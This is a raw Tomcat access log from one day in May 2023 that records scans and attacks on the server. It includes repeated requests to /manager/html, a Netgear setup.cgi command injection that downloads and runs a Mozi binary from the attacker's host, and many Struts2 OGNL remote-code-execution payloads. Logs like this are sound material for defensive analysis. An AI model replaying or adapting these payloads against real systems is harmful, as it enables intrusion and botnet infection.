Current File : //usr/local/tomcat8/logs/localhost_access_log.2023-05-26.txt

194.165.16.37 - - [26/May/2023:00:16:06 +0530] "-" 400 -
205.210.31.194 - - [26/May/2023:00:29:30 +0530] "-" 400 -
118.239.24.200 - - [26/May/2023:00:57:14 +0530] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 1030
118.239.24.200 - - [26/May/2023:00:57:14 +0530] "-" 400 -
198.98.57.217 - - [26/May/2023:01:03:15 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
188.237.92.148 - - [26/May/2023:01:07:49 +0530] "GET / HTTP/1.1" 200 11250
199.195.248.153 - - [26/May/2023:01:09:19 +0530] "CONNECT google.com:443 HTTP/1.1" 400 -
187.131.49.202 - - [26/May/2023:01:15:05 +0530] "GET / HTTP/1.1" 200 11250
188.94.33.171 - - [26/May/2023:01:20:28 +0530] "GET / HTTP/1.1" 200 11250
205.210.31.85 - - [26/May/2023:01:22:06 +0530] "GET / HTTP/1.1" 200 11250
198.235.24.249 - - [26/May/2023:01:37:55 +0530] "-" 400 -
141.98.10.185 - - [26/May/2023:01:53:21 +0530] "GET /is_test HTTP/1.1" 404 1008
64.226.93.8 - - [26/May/2023:02:12:55 +0530] "CONNECT google.com:443 HTTP/1.1" 400 -
78.108.177.50 - - [26/May/2023:02:23:40 +0530] "GET / HTTP/1.0" 200 11230
205.185.115.70 - - [26/May/2023:02:38:52 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
141.98.10.185 - - [26/May/2023:02:50:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:41 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:41 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:41 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:42 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:42 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:42 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:42 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:43 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:43 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:43 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:44 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:44 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:44 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:44 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:45 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:45 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:45 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:46 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:46 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:46 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:46 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:47 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:47 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:47 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:48 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:48 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:48 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:48 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:49 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:49 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:49 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:50 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:50 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:50 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:51 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:51 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:51 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:51 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:52 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:52 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:52 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:53 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:53 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:53 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:53 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:54 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:54 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:54 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:55 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:02:50:55 +0530] "GET /manager/html HTTP/1.1" 401 2473
198.235.24.219 - - [26/May/2023:03:01:26 +0530] "GET / HTTP/1.1" 200 11250
60.217.75.70 - - [26/May/2023:03:16:13 +0530] "GET / HTTP/1.1" 200 11250
60.217.75.70 - - [26/May/2023:03:31:40 +0530] "GET / HTTP/1.1" 200 11250
209.141.41.129 - - [26/May/2023:03:33:57 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
198.98.53.107 - - [26/May/2023:04:17:25 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
117.243.244.246 - - [26/May/2023:05:42:14 +0530] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.243.244.246:51338/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 1012
222.186.180.34 - - [26/May/2023:05:51:34 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:35 +0530] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:37 +0530] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:38 +0530] "GET /?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:39 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:40 +0530] "GET //devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1024
222.186.180.34 - - [26/May/2023:05:51:41 +0530] "GET /&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2020
222.186.180.34 - - [26/May/2023:05:51:42 +0530] "GET /%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2020
222.186.180.34 - - [26/May/2023:05:51:43 +0530] "GET /?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:44 +0530] "GET /%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1722
222.186.180.34 - - [26/May/2023:05:51:45 +0530] "GET /?redirect%3A%24%7B6121609%2B8347445%7D HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:47 +0530] "GET /?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:47 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:48 +0530] "GET /?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:49 +0530] "GET /%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1406
222.186.180.34 - - [26/May/2023:05:51:55 +0530] "GET /(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1642
222.186.180.34 - - [26/May/2023:05:51:56 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:56 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:57 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:58 +0530] "POST / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:51:59 +0530] "GET /?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:52:07 +0530] "GET /%24%7B6889734%2B4718725%7D/index.action HTTP/1.0" 404 1072
222.186.180.34 - - [26/May/2023:05:52:08 +0530] "GET / HTTP/1.0" 200 11230
222.186.180.34 - - [26/May/2023:05:52:10 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:12 +0530] "GET /docs/?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:13 +0530] "GET /docs/?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:15 +0530] "GET /docs/?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:16 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:17 +0530] "GET /docs//devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1034
222.186.180.34 - - [26/May/2023:05:52:18 +0530] "GET /docs/&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2030
222.186.180.34 - - [26/May/2023:05:52:19 +0530] "GET /docs/%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2030
222.186.180.34 - - [26/May/2023:05:52:20 +0530] "GET /docs/?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:21 +0530] "GET /docs/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1732
222.186.180.34 - - [26/May/2023:05:52:24 +0530] "GET /docs/?redirect%3A%24%7B8933029%2B7093920%7D HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:25 +0530] "GET /docs/?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:27 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:28 +0530] "GET /docs/?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:29 +0530] "GET /docs/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1416
222.186.180.34 - - [26/May/2023:05:52:30 +0530] "GET /docs/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1652
222.186.180.34 - - [26/May/2023:05:52:31 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:32 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:33 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:34 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:36 +0530] "GET /docs/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:37 +0530] "GET /docs/%24%7B4595082%2B2846361%7D/index.action HTTP/1.0" 404 1082
